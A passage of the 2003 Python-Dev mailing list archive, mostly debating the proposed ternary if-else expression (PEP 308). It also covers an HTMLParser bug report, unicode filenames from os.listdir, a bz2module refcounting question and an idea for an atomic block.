f = try open(filename) except sys.stdin lst1 = while cond(i) i Some bridges are here already: [f(i) for i in lst] In short: Expression - Statement [for] - for [for if] - for:\n if ... recursion? - while PEP308! - if-else lambda - def eval - exec ? - class ? - try-except ? - raise __import__ - import (?) reload() - ? not needed - return ? - yield .write() - print ? - del None - pass ? - = Of course, there are only similarities between these structures, but on the whole it could be noted that functional side is poorer than imperative one. General laziness present in imperative side is missing in expression (thus functional) side: arguments get evaluated more often than not. Only operations like 'or' and 'and' (and chained comparisons) add some laziness to expressions. Please, do not understand me as asking for features. This posting of mine is an attempt to take more general view of the Python landscape today and development directions under discussion. If (ever) lazy execution will be Python reality, Python will be great choice for mathematical programming people with their fancy search algorithms. (Anybody who knows Amanda/Miranda programming languages will understand what I am speaking about). Sincerely yours, Roman Suzi -- rnd@onego.ru =\= My AI powered by Linux RedHat 7.3 From bac@OCF.Berkeley.EDU Sun Feb 9 20:03:45 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Sun, 9 Feb 2003 12:03:45 -0800 (PST) Subject: [Python-Dev] New syntax threads -- summary wanted In-Reply-To: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net> References: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net> Message-ID: [Guido van Rossum] > I am asking everyone who has participated in the thread(s) about new > syntax (with, thunks, etc.) to hold off posting for a day, and think > about summarizing the state of the discussion. Then if someone could > post a summary of the various proposals on the table, with the key > arguments pro and con for each, I'd like to start continuing. The > goal at this point should be one or more PEPs. If you would like to > volunteer to (co-)author a thread summary, please post to the list. > The first volunteer to post gets to coordinate the others. > So Guido made this request on Wed. morning EST and so far no one beyond me has responded. Well, I am going to be starting on my rough of the summary in the near future. Now obviously I need a summary of what occured in the thread. This can happen one of two ways. One is that people summarize the parts of the thread that they heavily participated in and I build off of those (such as the PEP Paul and Michael are working on for the 'with' protocol; what is the ETA on that, you guys?). The other is that I do the summary. Now, you might be saying, "hey, I will just let Brett do the summary and not worry about it!" Bad idea. =) I doubt I will do the proposals justice, let alone I personally do not love some of the proposals so bias might (more like will, but I am trying to give the appearance of objectivity =) seep in. But if the latter does occur, I will post the summaries here as soon as I do them separate from the official Summary. Then I can start discussing my atomic keyword idea again without getting into trouble. =) -Brett From pedronis@bluewin.ch Sun Feb 9 20:52:23 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 9 Feb 2003 21:52:23 +0100 Subject: [Python-Dev] New syntax threads -- summary wanted References: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <072301c2d07d$259e0e80$6d94fea9@newmexico> From: "Brett Cannon" > > So Guido made this request on Wed. morning EST and so far no one beyond me > has responded. Well, I am going to be starting on my rough of the summary > in the near future. Now obviously I need a summary of what occured in the > thread. This can happen one of two ways. > Guido has been provided with a kind of technical summary except about the 'with' details. From gminick@hacker.pl Sun Feb 9 20:57:38 2003 From: gminick@hacker.pl (gminick) Date: Sun, 9 Feb 2003 21:57:38 +0100 Subject: [Python-Dev] Grzegorz Adam Hankiewicz found a parsing bug in HTMLParser. Message-ID: <20030209205738.GA1740@hannibal> MSG-ID of the origin: A bit of investigation showed that the bug exists because of that line: P ^^^ the place in code responsible for complaining that is a method check_for_whole_start_tag() of class HTMLParser, lines 308 to 312: if next in ("abcdefghijklmnopqrstuvwxyz=/" "ABCDEFGHIJKLMNOPQRSTUVWXYZ"): # end of input in or before attribute value, or we have the # '/' from a '/>' ending return -1 I don't want to change this since I'm sure, I'll make HTMLParser weak for some other conditions. Is there anybody who know the code for HTMLParser.py? ps. ...if there's no one, then I'll take a deeper look on this ;) -- [ ] gminick (at) underground.org.pl http://gminick.linuxsecurity.pl/ [ ] [ "Po prostu lubie poranna samotnosc, bo wtedy kawa smakuje najlepiej." ] From just@letterror.com Sun Feb 9 21:39:28 2003 From: just@letterror.com (Just van Rossum) Date: Sun, 9 Feb 2003 22:39:28 +0100 Subject: [Python-Dev] Unicode filenames In-Reply-To: <200302091320.h19DKUc29219@pcp02138704pcs.reston01.va.comcast.net> Message-ID: Guido van Rossum wrote: > > Setting it seems to work wonderful. However, I'm a bit surprised > > that os.listdir() doesn't return unicode strings. Is that because > > it would break too much code? > > I think that's shallow: the special-casing of unicode_file_names() > only exists in the Windows branch of the code. I've uploaded a tentative patch to posixmodule.c that makes os.listdir() return unicode strings if Py_FileSystemDefaultEncoding is set: http://python.org/sf/683592 I'm not at all sure there's no danger in doing this, but I thought perhaps an actual patch makes discussing this easier. Just From pedronis@bluewin.ch Sun Feb 9 23:09:49 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 10 Feb 2003 00:09:49 +0100 Subject: [Python-Dev] vox populii illiterati References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <092801c2d090$585db740$6d94fea9@newmexico> From: "Guido van Rossum" > > Nobody will try to sort out the votes from the well over > > 600 postings (and growing). > > Ouch. And it's only Sunday morning here. That exceeds my wildest > expectations. > > Is anybody at least collecting useful feedback? I'm willing to update > the PEP to at least mention sensible alternatives or arguments pro and > con, but I can't read the c.l.py messages. > ouch, that's an interesting pro twist: http://mail.zope.org/pipermail/zope-dev/2003-February/018725.html "... I think, we want an "if-then-else" expression for Zope, as it would make decisions in TALES expressions ... Do not forget to vote!" From guido@python.org Sun Feb 9 23:54:32 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 09 Feb 2003 18:54:32 -0500 Subject: [Python-Dev] New syntax threads -- summary wanted In-Reply-To: "Your message of Sun, 09 Feb 2003 12:03:45 PST." References: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <200302092354.h19NsWc30741@pcp02138704pcs.reston01.va.comcast.net> > So Guido made this request on Wed. morning EST and so far no one beyond me > has responded. Actually, Samuele sent me a long summary on Friday -- I just don't haven't had time to formulate a response yet. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Mon Feb 10 01:03:37 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 09 Feb 2003 20:03:37 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: "Your message of Mon, 10 Feb 2003 00:09:49 +0100." <092801c2d090$585db740$6d94fea9@newmexico> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <092801c2d090$585db740$6d94fea9@newmexico> Message-ID: <200302100103.h1A13bG30889@pcp02138704pcs.reston01.va.comcast.net> > ouch, that's an interesting pro twist: > > http://mail.zope.org/pipermail/zope-dev/2003-February/018725.html > > "... I think, we want an "if-then-else" expression for Zope, as it would > make decisions in TALES expressions ... > Do not forget to vote!" Hm... I think the current wisdom in TALES is to avoid python expressions if at all possible. --Guido van Rossum (home page: http://www.python.org/~guido/) From greg@cosc.canterbury.ac.nz Mon Feb 10 01:08:14 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Mon, 10 Feb 2003 14:08:14 +1300 (NZDT) Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <200302071710.h17HAil08991@odiug.zope.com> Message-ID: <200302100108.h1A18EL13872@oma.cosc.canterbury.ac.nz> > If I vote for a ternary operator, but then something with an ugly > syntax wins the design contest, I may wish I had voted against in the > first place. Don't vote on the syntax at all, then. Just pick the one you like the most and pronounce on it. Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From guido@python.org Mon Feb 10 01:12:47 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 09 Feb 2003 20:12:47 -0500 Subject: [Python-Dev] Grzegorz Adam Hankiewicz found a parsing bug in HTMLParser. In-Reply-To: "Your message of Sun, 09 Feb 2003 21:57:38 +0100." <20030209205738.GA1740@hannibal> References: <20030209205738.GA1740@hannibal> Message-ID: <200302100112.h1A1Cl430951@pcp02138704pcs.reston01.va.comcast.net> > MSG-ID of the origin: Alas, that's not help ful in tracking down the original message. > A bit of investigation showed that the bug exists because of that line: > > P > ^^^ Which is blatantly invalid HTML, of course. > the place in code responsible for complaining that is a method > check_for_whole_start_tag() of class HTMLParser, lines 308 to 312: > > if next in ("abcdefghijklmnopqrstuvwxyz=/" > "ABCDEFGHIJKLMNOPQRSTUVWXYZ"): > # end of input in or before attribute value, or we have the > # '/' from a '/>' ending > return -1 > > I don't want to change this since I'm sure, I'll make HTMLParser > weak for some other conditions. Is there anybody who know the code > for HTMLParser.py? This isn't really the right forum for this, but I hope you can post either a bug report or a patch to sourceforge. If you need someone to help investigate first, the right place to ask is comp.lang.python. --Guido van Rossum (home page: http://www.python.org/~guido/) From pedronis@bluewin.ch Mon Feb 10 01:38:15 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 10 Feb 2003 02:38:15 +0100 Subject: [Python-Dev] vox populii illiterati References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <092801c2d090$585db740$6d94fea9@newmexico> <200302100103.h1A13bG30889@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <01df01c2d0a5$15401e20$6d94fea9@newmexico> From: "Guido van Rossum" > > ouch, that's an interesting pro twist: > > > > http://mail.zope.org/pipermail/zope-dev/2003-February/018725.html > > > > "... I think, we want an "if-then-else" expression for Zope, as it would > > make decisions in TALES expressions ... > > Do not forget to vote!" > > Hm... I think the current wisdom in TALES is to avoid python > expressions if at all possible. It was only meant as a report about how the thing is escalating/cascading. From guido@python.org Mon Feb 10 01:54:17 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 09 Feb 2003 20:54:17 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: "Your message of Sun, 09 Feb 2003 18:57:32 +0100." <20030209185732.W1706@prim.han.de> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> Message-ID: <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> > Right. OTOH there seems to be the fear (especially from the > more experienced folks maintaining large code bases) that > the ternary op *will* be used in non-assignments despite often > beeing bad style. E.g. starting from > > if obj.method(): > ... > > and realizing that 'obj' might not have "method" some might write: > > if obj.method() if hasattr(obj, 'method') else False: > ... > > which many consider a bad thing to be valid. There are a *lot* > of variations on this theme (with while/list-comps/lambda) and > people have reacted with punctuation (?:), new keywords (when) > and any mixture between those. Clearly, you don't need the > ternary operator for the above because there is an obvious > other solution: > > if hasattr(obj, 'method') and obj.method(): > ... > > and thus people indicated in various threads that having the ternary op > prevents people from getting to better and easier solutions. I'm sorry, but I am not at all swayed by the argument that this can be misused. That argument has been used against every new proposal since Python 1.0. But the existing constructs can be misused just as well. You can't prevent a poor programmer from writing poor code. The example you give is particularly unlikely because the 'and' idiom is well established for this particular case. > > Part of the reason for using if-expressions (the ternary op) is the > > programmer has a different mindset. They aren't thinking about > > control (as in an if statement). They are thinking about an > > expression and the ternary operator allows them to program what they > > are thinking. > > Andrew Dalke posted a nice survey on 15 different ternary-op examples > in his 42.500 line C-code base (written by different programmers). > Although it's not about python code it hits a nerve because quite > some people come with a C background (different mindset) and miss > the ternary OP: > > http://mail.python.org/pipermail/python-list/2003-February/145592.html > > I think this link could be included in the PEP under something like > "Often (but not always) there are better Python-solutions than > with C regarding ternary OP.". Many of his examples are like perfectly valid use of ?: in C++, and good to follow too. (In fact, it seems that ?: has an advantage over the PEP's proposal because the ?: stand out more than the 'if' and 'else' keywords.) And most examples that questionable are questionable not because ?: is being misused but because the programmer didn't think hard enough -- but there's no evidence that the ?: prevented them from thinking. I agree with his final conclusion that ?: just isn't used often enough to warrant its existence. But then he blows it again by pointing out that it can be abused. Well OF COURSE it can be abused. See above. one of Dalke's anti-examples is interesting (slightly reformatted): indices = [(long_function_name(atom->realAtom(), atomCount, reactionMapping) if atom != OXYGEN else -1) for atom in (atom1, atom2, atom3, atom4)] If anything, this suggests that the infix-if form is not ideal, because it hides the if-part too much. > As no single person can follow all the c.l.py postings i think > we might "preprocess" and send Guido "important" links together with > a short summary (or just the latter) to be included in the PEP. I'm not sure that Dalke's post adds much evidence to warrant inclusion in the PEP. --Guido van Rossum (home page: http://www.python.org/~guido/) From ping@zesty.ca Mon Feb 10 02:06:29 2003 From: ping@zesty.ca (Ka-Ping Yee) Date: Sun, 9 Feb 2003 20:06:29 -0600 (CST) Subject: [Python-Dev] vox populii illiterati In-Reply-To: <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> Message-ID: On Sun, 9 Feb 2003, Guido van Rossum wrote: > If anything, this suggests that the infix-if form is not ideal, > because it hides the if-part too much. I'm +0.5 if we can agree on a syntax where evaluation is left-to-right (condition, true case, false case). I haven't decided on a nice one yet. I'm -1 on any syntax that's out of order. I think that would be terribly confusing, and i don't think there's any example of a successful out-of-order ?: syntax in another language, is there? It's not just that it's out of order -- it's that something gets short-circuited out of order. The whole idea of the very *first* thing you see getting short-circuited is unacceptably weird and unexpected for me. -- ?!ng From pyth@devel.trillke.net Mon Feb 10 03:17:46 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 10 Feb 2003 04:17:46 +0100 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Sun, Feb 09, 2003 at 08:54:17PM -0500 References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030210041746.F1706@prim.han.de> Guido van Rossum wrote: > > Right. OTOH there seems to be the fear (especially from the > > more experienced folks maintaining large code bases) that > > the ternary op *will* be used in non-assignments despite often > > beeing bad style. E.g. starting from > > > > if obj.method(): > > ... > > > > and realizing that 'obj' might not have "method" some might write: > > > > if obj.method() if hasattr(obj, 'method') else False: > > ... > > > > which many consider a bad thing to be valid. There are a *lot* > > of variations on this theme (with while/list-comps/lambda) and > > people have reacted with punctuation (?:), new keywords (when) > > and any mixture between those. Clearly, you don't need the > > ternary operator for the above because there is an obvious > > other solution: > > > > if hasattr(obj, 'method') and obj.method(): > > ... > > > > and thus people indicated in various threads that having the ternary op > > prevents people from getting to better and easier solutions. > > I'm sorry, but I am not at all swayed by the argument that this can be > misused. That argument has been used against every new proposal since > Python 1.0. But the existing constructs can be misused just as well. > You can't prevent a poor programmer from writing poor code. Sure, any construct can be abused. Still there are gradual differences. For example, introducing a new statement usually isn't as harmful to readability as new forms of expressions can be. The latter can be used almost eveywhere. > The example you give is particularly unlikely because the 'and' idiom > is well established for this particular case. If somebody knows the right idiom then he will use it, sure. But somebody learning the ternary-op ("oh i know that from C, cool") might not even get to the point of knowing about python's special and/or behaviour ("Oh i know boolean operations from C, right"). The ternary op then becomes the "obvious way to do it". Thus i am afraid that if obj.method() if hasattr(obj, 'method') else False: is not that unlikely for a C-programmer learning Python in 2004 (in a dimension where PEP308 is effective). regards, holger From niemeyer@conectiva.com Mon Feb 10 03:35:12 2003 From: niemeyer@conectiva.com (Gustavo Niemeyer) Date: Mon, 10 Feb 2003 01:35:12 -0200 Subject: [Python-Dev] UNREF invalid object Message-ID: <20030210033512.GA16029@ibook.distro.conectiva> Hello! I've been playing with the bz2module to remove the file inheritance, as requested. While doing so, I've got the "UNREF invalid object" error when trying to run PyObject_Del(), inside a dealloc function, on an object which is not "externally" accessible (it's part of the class structure only, and has obj->ob_refcnt == 1, as expected). I'll replace the PyObject_Del() by Py_DECREF() which fixes the problem and feels more elegant to me anyway. OTOH, I wouldn't like to get over the problem without knowing what's really happening. Is this a common problem pattern? Thanks! -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From pedronis@bluewin.ch Mon Feb 10 03:39:37 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 10 Feb 2003 04:39:37 +0100 Subject: [Python-Dev] vox populii illiterati References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> Message-ID: <041301c2d0b6$091e4840$6d94fea9@newmexico> From: "holger krekel" > > if obj.method() if hasattr(obj, 'method') else False: > don't worry the pro-camp seems converging toward: if if hasattr(obj,'method'): obj.method() else: False: or if (if hasattr(obj,'method'): obj.method() else: False): From ark@research.att.com Mon Feb 10 03:58:04 2003 From: ark@research.att.com (Andrew Koenig) Date: 09 Feb 2003 22:58:04 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <041301c2d0b6$091e4840$6d94fea9@newmexico> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico> Message-ID: Samuele> From: "holger krekel" >> >> if obj.method() if hasattr(obj, 'method') else False: >> Samuele> don't worry the pro-camp seems converging toward: Samuele> if if hasattr(obj,'method'): obj.method() else: False: Samuele> or Samuele> if (if hasattr(obj,'method'): obj.method() else: False): I count myself in the pro-camp, and I would prefer if hasattr(obj,'method') and obj.method(): to any of the alternatives, for the obvious reason. In fact, as a pragmatic note, I wouldn't mind it if the compiler gave a warning about if : True else: or if : else: False because they're equivalent to bool(cond) or and bool(cond) and respectively. -- Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark From pedronis@bluewin.ch Mon Feb 10 04:02:21 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 10 Feb 2003 05:02:21 +0100 Subject: (OT) [Python-Dev] vox populii illiterati References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY><200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net><3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de><200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net><20030209165109.GO23059@epoch.metaslash.com><20030209185732.W1706@prim.han.de><200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net><20030210041746.F1706@prim.han.de><041301c2d0b6$091e4840$6d94fea9@newmexico> Message-ID: <04d301c2d0b9$36b8c0c0$6d94fea9@newmexico> From: "Andrew Koenig" > Samuele> From: "holger krekel" > >> > >> if obj.method() if hasattr(obj, 'method') else False: > >> > > Samuele> don't worry the pro-camp seems converging toward: > > Samuele> if if hasattr(obj,'method'): obj.method() else: False: > > Samuele> or > > Samuele> if (if hasattr(obj,'method'): obj.method() else: False): > > I count myself in the pro-camp, and I would prefer > > if hasattr(obj,'method') and obj.method(): > > to any of the alternatives, for the obvious reason. I wouldn't expect anything less from you. I was just reporting on what kind if-then-else form the pro-camp is converging. I take the chance to re-re-rember that I'm fully aware that: _ and x or _ does not work in case x is false. Still when x is not false, it is working Python. From ark@research.att.com Mon Feb 10 04:11:02 2003 From: ark@research.att.com (Andrew Koenig) Date: Sun, 9 Feb 2003 23:11:02 -0500 (EST) Subject: (OT) [Python-Dev] vox populii illiterati In-Reply-To: <04d301c2d0b9$36b8c0c0$6d94fea9@newmexico> (pedronis@bluewin.ch) References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY><200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net><3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de><200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net><20030209165109.GO23059@epoch.metaslash.com><20030209185732.W1706@prim.han.de><200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net><20030210041746.F1706@prim.han.de><041301c2d0b6$091e4840$6d94fea9@newmexico> <04d301c2d0b9$36b8c0c0$6d94fea9@newmexico> Message-ID: <200302100411.h1A4B2r17774@europa.research.att.com> >> I count myself in the pro-camp, and I would prefer >> if hasattr(obj,'method') and obj.method(): >> to any of the alternatives, for the obvious reason. Samuele> I wouldn't expect anything less from you. :-) Samuele> I was just reporting on what kind if-then-else form the Samuele> pro-camp is converging. I wish you had picked a less ugly example :-) Samuele> I take the chance to re-re-rember that I'm fully aware that: Samuele> _ and x or _ Samuele> does not work in case x is false. Still when x is not false, Samuele> it is working Python. Agreed. Thanks. From tim.one@comcast.net Mon Feb 10 04:11:53 2003 From: tim.one@comcast.net (Tim Peters) Date: Sun, 09 Feb 2003 23:11:53 -0500 Subject: [Python-Dev] UNREF invalid object In-Reply-To: <20030210033512.GA16029@ibook.distro.conectiva> Message-ID: [Gustavo Niemeyer] > I've been playing with the bz2module to remove the file inheritance, as > requested. While doing so, I've got the "UNREF invalid object" error > when trying to run PyObject_Del(), inside a dealloc function, on an > object which is not "externally" accessible (it's part of the class > structure only, and has obj->ob_refcnt == 1, as expected). I'll replace > the PyObject_Del() by Py_DECREF() which fixes the problem and feels more > elegant to me anyway. It's not just more elegant, it's mandatory. If you look at the expansion of Py_DECREF, you'll find that it does all sorts of (necessary) things under different build types. In particular, under a debug build, calling PyObject_Del() fails to unlink the object from the doubly-linked list of all objects, and that's exactly the cause of an "UNREF invalid object" error. Py_DECREF() instead arranges to call _Py_ForgetReference(), which (among other things) does the unlinking in a debug build. You *could* call all that stuff yourself by hand, but then you'd need as much #ifdef pain as goes into the expansion of Py_DECREF in order to get it all right. > OTOH, I wouldn't like to get over the problem without knowing what's > really happening. Is this a common problem pattern? Nope. Everyone else calls PyObject_Del only on the "self" argument to the type's tp_dealloc function (which is called *by* the expansion of Py_DECREF(self), so self must not be subjected to a Py_DECREF again). Everything else should go thru Py_DECREF, including contained objects. From bac@OCF.Berkeley.EDU Mon Feb 10 06:33:33 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Sun, 9 Feb 2003 22:33:33 -0800 (PST) Subject: [Python-Dev] Re: Atomic operations In-Reply-To: <15938.40091.534416.426167@gargle.gargle.HOWL> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> <20030205184351.GA17468@thyrsus.com> <15938.27939.731673.576239@gargle.gargle.HOWL> <15938.38361.935496.115469@slothrop.zope.com> <15938.40091.534416.426167@gargle.gargle.HOWL> Message-ID: [Barry A. Warsaw] > > >>>>> "JH" == Jeremy Hylton writes: > > JH> There was a good paper on this subject at LL2. You can find > JH> it here: http://www.cs.williams.edu/~freund/papers.html > > Search for "Safe Asynchronous Exceptions For Python". > > Nice paper. I don't much like the nested block:/unblock: construction > (too much indentation), but the initially: part is nice. > Since Guido seems to have his summaries, I am going to assume the discussion ban has been lifted (if I am wrong, Guido, let me know). So I read the paper and it is kind of what I was thinking of. I was actually thinking more along the lines of having something like:: atomic: lock() ... with atomic basically shutting down threading temporarily until everything in its body is executed. This would basically make sure that no issues would occur with code being changed while executing from other threads. I would think this could be done by holding on to the GIL and not releasing it under any conditions until the body is executed. So with no threading occuring you can be sure that your data will not be changed in any *extremely* unexpected way (obviously you can write bad code that can do unexpected things, but I am going to assume you are not going to). Now obviously this could be abused, but as the if-then-else proposal as pointed out, almost anything can be abused. So maybe a good idea? Totally hair-brained? -Brett From aleax@aleax.it Mon Feb 10 07:27:12 2003 From: aleax@aleax.it (Alex Martelli) Date: Mon, 10 Feb 2003 08:27:12 +0100 Subject: [Python-Dev] vox populii illiterati In-Reply-To: References: Message-ID: <200302100827.12170.aleax@aleax.it> On Monday 10 February 2003 03:06 am, Ka-Ping Yee wrote: ... > It's not just that it's out of order -- it's that something gets > short-circuited out of order. The whole idea of the very *first* > thing you see getting short-circuited is unacceptably weird and > unexpected for me. Forms such as: [ f(23) for f in stuff if callable(f) ] have been in Python for years now, and you could indeed say "the very first thing you see" (the call f(23)) is "getting short-circuited" by an if-guard at the very end. If ternaries had syntax similar to list comprehensions (but with mandatory if and else clauses and no for clause, instead of a mandatory for clause and optional further clauses), as in: [ f(23) if callable(f) else None ] then people's familiarity with LCs (very popular constructs) might help alleviate the "unexpectedness". (Pity about the brackets where no lists nor indexing nor slicing are involved ). Alex From ping@zesty.ca Mon Feb 10 08:17:29 2003 From: ping@zesty.ca (Ka-Ping Yee) Date: Mon, 10 Feb 2003 02:17:29 -0600 (CST) Subject: [Python-Dev] vox populii illiterati In-Reply-To: <200302100827.12170.aleax@aleax.it> Message-ID: On Mon, 10 Feb 2003, Alex Martelli wrote: > Forms such as: > > [ f(23) for f in stuff if callable(f) ] > > have been in Python for years now, and you could indeed > say "the very first thing you see" (the call f(23)) is "getting > short-circuited" by an if-guard at the very end. As someone else said, i do consider this out-of-order evaluation a drawback of list comprehensions, but the confusion is not so bad because the entire construct is enclosed in brackets. So at least the whole thing begins with a signal and has a distinctive shape to the reader. > syntax similar to list comprehensions (but with > mandatory if and else clauses and no for clause, instead > of a mandatory for clause and optional further clauses), > > [ f(23) if callable(f) else None ] Requiring the brackets here helps somewhat to signal grouping, but the overload isn't really appropriate because there are no collections involved. The other difference is that, in your first example above, every element of the result really will have the form f(23); the extra clauses only select which elements appear. In the second example, the result might have no relationship at all to f(23). The nature of the short-circuiting is quite different -- so much so that i think it's quite a stretch to refer to the first example as short-circuiting. -- ?!ng From j-david@noos.fr Mon Feb 10 08:41:14 2003 From: j-david@noos.fr (=?ISO-8859-1?Q?Juan_David_Ib=E1=F1ez_Palomar?=) Date: Mon, 10 Feb 2003 09:41:14 +0100 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <200302100103.h1A13bG30889@pcp02138704pcs.reston01.va.comcast.net> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <092801c2d090$585db740$6d94fea9@newmexico> <200302100103.h1A13bG30889@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <3E4765AA.8060207@noos.fr> Guido van Rossum wrote: >>ouch, that's an interesting pro twist: >> >>http://mail.zope.org/pipermail/zope-dev/2003-February/018725.html >> >>"... I think, we want an "if-then-else" expression for Zope, as it would >>make decisions in TALES expressions ... >>Do not forget to vote!" >> >> > >Hm... I think the current wisdom in TALES is to avoid python >expressions if at all possible. > >--Guido van Rossum (home page: http://www.python.org/~guido/) > > > There are many languages that use Python expressions and that could benefit from the ".. if .. else .." clause. ZPT is only an example. If to use Python expressions in ZPT is against the current wisdom, this is probably not the case with other languages. I can remember an small example. The "Plural-Forms" header of the PO files is expressed with a C expression, which very often uses the ".. ? .. : .." clause. The current implementation in the Python gettext module translates the C expression to a Python expression with the help of a "test" function. The code would be easier to understand if Python had the ".. if .. else .." clause, because the translation from the C to the Python expression would be simpler, I think this is a good thing. -- J. David Ibáñez, http://www.j-david.net Software Engineer / Ingénieur Logiciel / Ingeniero de Software From whisper@oz.net Mon Feb 10 09:01:48 2003 From: whisper@oz.net (David LeBlanc) Date: Mon, 10 Feb 2003 01:01:48 -0800 Subject: [Python-Dev] Vote-Pop Message-ID: Having read over all the vox populi thread, it seems to me: * It's another way to do something that can already be done. * It tends to obfusticate. * It's not really all that much a savings in typing. * It complicates the parser and thus makes room for more bugs. * Some of the examples given confuse me as to whether or not a ternary op is being introduced or a postfix condition, i.e: if a unless b:... (if a if not b:...). * No compelling use case that demonstrates correcting a limitation of the language. * No compelling use case that demonstrates an important new feature for the language. ternary op: -1 David LeBlanc Seattle, WA USA From Paul.Moore@atosorigin.com Mon Feb 10 09:45:51 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Mon, 10 Feb 2003 09:45:51 -0000 Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary wanted) Message-ID: 